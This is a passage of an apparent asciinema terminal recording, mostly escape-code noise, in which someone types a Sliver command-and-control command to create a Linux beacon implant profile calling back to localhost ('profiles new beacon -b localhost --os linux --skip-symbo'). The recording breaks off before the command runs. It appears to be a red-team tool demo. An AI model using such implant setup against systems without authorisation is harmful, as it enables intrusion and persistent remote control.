[14.217195, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
[14.7974, "o", "\u001b[?25l"]
[14.808382, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[14.844688, "o", "p\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
[14.968124, "o", "\u001b[?25l"]
[14.970056, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[14.996105, "o", "pr\u001b[0m\u001b[0K\u001b[49m"]
[14.998331, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
[15.11977, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[15.120703, "o", "\u001b[6n"]
[15.133237, "o", "pro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
[15.26931, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[15.281024, "o", "prof\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[15.281812, "o", "\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
[15.359607, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[15.370163, "o", "profi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[14D"]
[15.371212, "o", "\u001b[9C\u001b[214D\u001b[14C\u001b[?25h"]
[15.429744, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[15.435967, "o", "profil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[15.436611, "o", "\u001b[214D\u001b[1A\u001b[15D\u001b[9C\u001b[214D\u001b[15C\u001b[?25h"]
[15.465796, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[15.467731, "o", "\u001b[6n"]
[15.471173, "o", "profile\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[16D"]
[15.472014, "o", "\u001b[9C\u001b[214D\u001b[16C\u001b[?25h"]
[15.501393, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[15.502444, "o", "\u001b[6n"]
[15.505604, "o", "\u001b[1m\u001b[32mprofiles\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[17D\u001b[9C"]
[15.505705, "o", "\u001b[214D\u001b[17C\u001b[?25h"]
[15.616395, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[15.635045, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[15.636094, "o", "\u001b[214D\u001b[1A\u001b[18D\u001b[9C\u001b[214D\u001b[18C\u001b[?25h"]
[15.900778, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[15.915729, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mn\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[15.916362, "o", "\u001b[214D\u001b[1A\u001b[19D\u001b[9C\u001b[214D\u001b[19C\u001b[?25h"]
[15.983068, "o", "\u001b[?25l"]
[15.98517, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[16.006147, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mne\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[20D\u001b[9C\u001b[214D\u001b[20C\u001b[?25h"]
[16.042383, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[16.044936, "o", "\u001b[6n"]
[16.047739, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
[16.048386, "o", "\u001b[1A\u001b[21D\u001b[9C\u001b[214D\u001b[21C\u001b[?25h"]
[16.133768, "o", "\u001b[?25l\u001b[214D"]
[16.137168, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[16.156809, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[22D\u001b[9C\u001b[214D\u001b[22C\u001b[?25h"]
[16.532633, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[16.549217, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew b\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[16.55055, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[23D\u001b[9C\u001b[214D\u001b[23C\u001b[?25h"]
[16.799275, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[16.803967, "o", "\u001b[6n"]
[16.838159, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew be\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[16.83983, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[24D\u001b[9C\u001b[214D\u001b[24C\u001b[?25h"]
[16.894586, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[16.899993, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew bea\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[25D\u001b[9C\u001b[214D\u001b[25C\u001b[?25h"]
[17.072821, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[17.085546, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beac\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[17.08708, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[26D\u001b[9C\u001b[214D\u001b[26C\u001b[?25h"]
[17.206672, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[17.219238, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beaco\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[27D\u001b[9C\u001b[214D\u001b[27C"]
[17.220783, "o", "\u001b[?25h"]
[17.251231, "o", "\u001b[?25l"]
[17.251404, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[17.252544, "o", "\u001b[6n"]
[17.256117, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[17.256305, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[28D\u001b[9C\u001b[214D\u001b[28C\u001b[?25h"]
[17.430255, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[17.453164, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[29D"]
[17.454557, "o", "\u001b[9C\u001b[214D\u001b[29C\u001b[?25h"]
[17.820587, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[17.839363, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[17.842543, "o", "\u001b[214D\u001b[1A\u001b[30D\u001b[9C\u001b[214D\u001b[30C\u001b[?25h"]
[18.114188, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[18.125107, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[18.126115, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[31D\u001b[9C\u001b[214D\u001b[31C\u001b[?25h"]
[18.199168, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[18.202271, "o", "\u001b[6n"]
[18.222313, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[18.224541, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[32D\u001b[9C\u001b[214D\u001b[32C\u001b[?25h"]
[18.364335, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[18.371159, "o", "\u001b[6n"]
[18.39355, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22ml\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[18.397048, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[33D\u001b[9C\u001b[214D\u001b[33C\u001b[?25h"]
[18.550245, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[18.552318, "o", "\u001b[6n"]
[18.577845, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlo\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[34D\u001b[9C\u001b[214D\u001b[34C\u001b[?25h"]
[18.682037, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[18.690165, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mloc\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[18.690826, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[35D\u001b[9C\u001b[214D\u001b[35C\u001b[?25h"]
[18.74857, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[18.751605, "o", "\u001b[6n"]
[18.755354, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mloca\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[18.75673, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[36D\u001b[9C\u001b[214D\u001b[36C\u001b[?25h"]
[18.840517, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[18.844334, "o", "\u001b[6n"]
[18.852031, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocal\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A"]
[18.852999, "o", "\u001b[37D\u001b[9C\u001b[214D\u001b[37C\u001b[?25h"]
[19.081403, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[19.096541, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalh\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[19.097207, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[38D\u001b[9C\u001b[214D\u001b[38C\u001b[?25h"]
[19.141943, "o", "\u001b[?25l\u001b[214D"]
[19.144542, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[19.151576, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalho\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[19.152308, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[39D\u001b[9C\u001b[214D\u001b[39C\u001b[?25h"]
[19.21028, "o", "\u001b[?25l"]
[19.21066, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[19.212807, "o", "\u001b[6n"]
[19.217594, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhos\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
[19.218241, "o", "\u001b[1A\u001b[40D\u001b[9C\u001b[214D\u001b[40C\u001b[?25h"]
[19.305258, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[19.307084, "o", "\u001b[6n"]
[19.315792, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[19.317316, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[41D\u001b[9C\u001b[214D\u001b[41C\u001b[?25h"]
[19.391585, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[19.403349, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[19.404598, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[42D\u001b[9C\u001b[214D\u001b[42C\u001b[?25h"]
[19.612738, "o", "\u001b[?25l\u001b[214D"]
[19.616541, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[19.642732, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[19.64458, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[43D\u001b[9C\u001b[214D\u001b[43C\u001b[?25h"]
[19.727533, "o", "\u001b[?25l"]
[19.728195, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[19.732597, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[44D\u001b[9C\u001b[214D\u001b[44C\u001b[?25h"]
[19.952229, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[19.960693, "o", "\u001b[6n"]
[19.97101, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--o\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[45D\u001b[9C\u001b[214D\u001b[45C\u001b[?25h"]
[20.038298, "o", "\u001b[?25l\u001b[214D"]
[20.042619, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[20.06721, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[20.07031, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[46D\u001b[9C\u001b[214D\u001b[46C\u001b[?25h"]
[20.127136, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[20.131351, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[20.131943, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[47D\u001b[9C\u001b[214D\u001b[47C\u001b[?25h"]
[20.242249, "o", "\u001b[?25l\u001b[214D"]
[20.243637, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[20.243916, "o", "\u001b[6n"]
[20.26165, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22ml\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[20.262736, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[48D\u001b[9C\u001b[214D\u001b[48C\u001b[?25h"]
[20.313606, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[20.317055, "o", "\u001b[6n"]
[20.320717, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mli\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[49D\u001b[9C"]
[20.32112, "o", "\u001b[214D\u001b[49C\u001b[?25h"]
[20.408108, "o", "\u001b[?25l"]
[20.41512, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[20.433072, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlin\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[20.434122, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[50D\u001b[9C\u001b[214D\u001b[50C\u001b[?25h"]
[20.542523, "o", "\u001b[?25l"]
[20.551107, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[20.564786, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinu\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[20.565551, "o", "\u001b[214D\u001b[1A\u001b[51D\u001b[9C\u001b[214D\u001b[51C\u001b[?25h"]
[20.701255, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[20.715508, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[20.717429, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[52D\u001b[9C\u001b[214D\u001b[52C\u001b[?25h"]
[20.770094, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[20.776074, "o", "\u001b[6n"]
[20.781738, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[20.782205, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[53D\u001b[9C\u001b[214D\u001b[53C\u001b[?25h"]
[21.202495, "o", "\u001b[?25l"]
[21.210484, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[21.248211, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[54D\u001b[9C\u001b[214D\u001b[54C\u001b[?25h"]
[21.34017, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[21.349775, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[21.351375, "o", "\u001b[214D\u001b[1A\u001b[55D\u001b[9C\u001b[214D\u001b[55C\u001b[?25h"]
[21.586474, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[21.602434, "o", "\u001b[6n"]
[21.60975, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--s\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[56D"]
[21.6112, "o", "\u001b[9C\u001b[214D\u001b[56C\u001b[?25h"]
[21.674727, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[21.678428, "o", "\u001b[6n"]
[21.683171, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--sk\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[21.684096, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[57D\u001b[9C\u001b[214D\u001b[57C\u001b[?25h"]
[21.757695, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[21.760769, "o", "\u001b[6n"]
[21.765683, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--ski\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[21.766586, "o", "\u001b[214D\u001b[1A\u001b[58D\u001b[9C\u001b[214D\u001b[58C\u001b[?25h"]
[21.930732, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[21.938185, "o", "\u001b[6n"]
[21.964049, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[21.966035, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[59D\u001b[9C\u001b[214D\u001b[59C\u001b[?25h"]
[22.278315, "o", "\u001b[?25l"]
[22.280322, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[22.290182, "o", "\u001b[6n"]
[22.318137, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[22.319121, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[60D\u001b[9C\u001b[214D\u001b[60C\u001b[?25h"]
[22.461397, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[22.473765, "o", "\u001b[6n"]
[22.497463, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-s\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[22.497924, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[61D\u001b[9C\u001b[214D\u001b[61C\u001b[?25h"]
[22.663035, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[22.663779, "o", "\u001b[6n"]
[22.678647, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-sy\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[22.679292, "o", "\u001b[214D\u001b[1A\u001b[62D\u001b[9C\u001b[214D\u001b[62C\u001b[?25h"]
[22.914689, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[22.918631, "o", "\u001b[6n"]
[22.95403, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-sym\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[22.956042, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[63D\u001b[9C\u001b[214D\u001b[63C\u001b[?25h"]
[23.259777, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[23.271795, "o", "\u001b[6n"]
[23.280231, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symb\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[23.282586, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[64D\u001b[9C\u001b[214D\u001b[64C\u001b[?25h"]
[23.339497, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[23.342791, "o", "\u001b[6n"]
[23.34779, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbo\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[23.34816, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[65D\u001b[9C\u001b[214D\u001b[65C\u001b[?25h"]
[23.558234, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
